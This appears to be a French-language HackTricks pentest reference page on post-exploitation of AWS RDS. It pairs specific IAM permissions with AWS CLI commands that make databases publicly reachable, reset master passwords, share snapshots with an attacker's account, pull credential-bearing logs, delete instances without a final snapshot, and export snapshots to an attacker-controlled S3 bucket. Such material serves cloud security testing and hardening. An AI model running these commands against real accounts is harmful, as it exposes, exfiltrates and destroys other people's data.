# AWS - RDS Post Exploitation {{#include ../../../banners/hacktricks-training.md}} ## RDS Pour plus d'informations, consultez : {{#ref}} ../aws-services/aws-relational-database-rds-enum.md {{#endref}} ### `rds:CreateDBSnapshot`, `rds:RestoreDBInstanceFromDBSnapshot`, `rds:ModifyDBInstance` Si l'attaquant a suffisamment de permissions, il pourrait rendre une **DB accessible publiquement** en créant un instantané de la DB, puis une DB accessible publiquement à partir de l'instantané. ```bash aws rds describe-db-instances # Get DB identifier aws rds create-db-snapshot \ --db-instance-identifier \ --db-snapshot-identifier cloudgoat # Get subnet groups & security groups aws rds describe-db-subnet-groups aws ec2 describe-security-groups aws rds restore-db-instance-from-db-snapshot \ --db-instance-identifier "new-db-not-malicious" \ --db-snapshot-identifier \ --db-subnet-group-name \ --publicly-accessible \ --vpc-security-group-ids aws rds modify-db-instance \ --db-instance-identifier "new-db-not-malicious" \ --master-user-password 'Llaody2f6.123' \ --apply-immediately # Connect to the new DB after a few mins ``` ### `rds:ModifyDBSnapshotAttribute`, `rds:CreateDBSnapshot` Un attaquant avec ces permissions pourrait **créer un snapshot d'une DB** et le rendre **publiquement** **disponible**. Ensuite, il pourrait simplement créer dans son propre compte une DB à partir de ce snapshot. Si l'attaquant **n'a pas le `rds:CreateDBSnapshot`**, il pourrait tout de même rendre **autres** snapshots créés **publics**. ```bash # create snapshot aws rds create-db-snapshot --db-instance-identifier --db-snapshot-identifier # Make it public/share with attackers account aws rds modify-db-snapshot-attribute --db-snapshot-identifier --attribute-name restore --values-to-add all ## Specify account IDs instead of "all" to give access only to a specific account: --values-to-add {"111122223333","444455556666"} ``` ### `rds:DownloadDBLogFilePortion` Un attaquant avec la permission `rds:DownloadDBLogFilePortion` peut **télécharger des portions des fichiers journaux d'une instance RDS**. Si des données sensibles ou des informations d'identification d'accès sont accidentellement enregistrées, l'attaquant pourrait potentiellement utiliser ces informations pour élever ses privilèges ou effectuer des actions non autorisées. ```bash aws rds download-db-log-file-portion --db-instance-identifier target-instance --log-file-name error/mysql-error-running.log --starting-token 0 --output text ``` **Impact potentiel** : Accès à des informations sensibles ou actions non autorisées en utilisant des identifiants compromis. ### `rds:DeleteDBInstance` Un attaquant avec ces autorisations peut **DoS les instances RDS existantes**. ```bash # Delete aws rds delete-db-instance --db-instance-identifier target-instance --skip-final-snapshot ``` **Impact potentiel** : Suppression des instances RDS existantes et perte potentielle de données. ### `rds:StartExportTask` > [!NOTE] > TODO : Tester Un attaquant disposant de cette autorisation peut **exporter un instantané d'instance RDS vers un bucket S3**. Si l'attaquant a le contrôle sur le bucket S3 de destination, il peut potentiellement accéder à des données sensibles dans l'instantané exporté. ```bash aws rds start-export-task --export-task-identifier attacker-export-task --source-arn arn:aws:rds:region:account-id:snapshot:target-snapshot --s3-bucket-name attacker-bucket --iam-role-arn arn:aws:iam::account-id:role/export-role --kms-key-id arn:aws:kms:region:account-id:key/key-id ``` **Impact potentiel** : Accès à des données sensibles dans l'instantané exporté. {{#include ../../../banners/hacktricks-training.md}}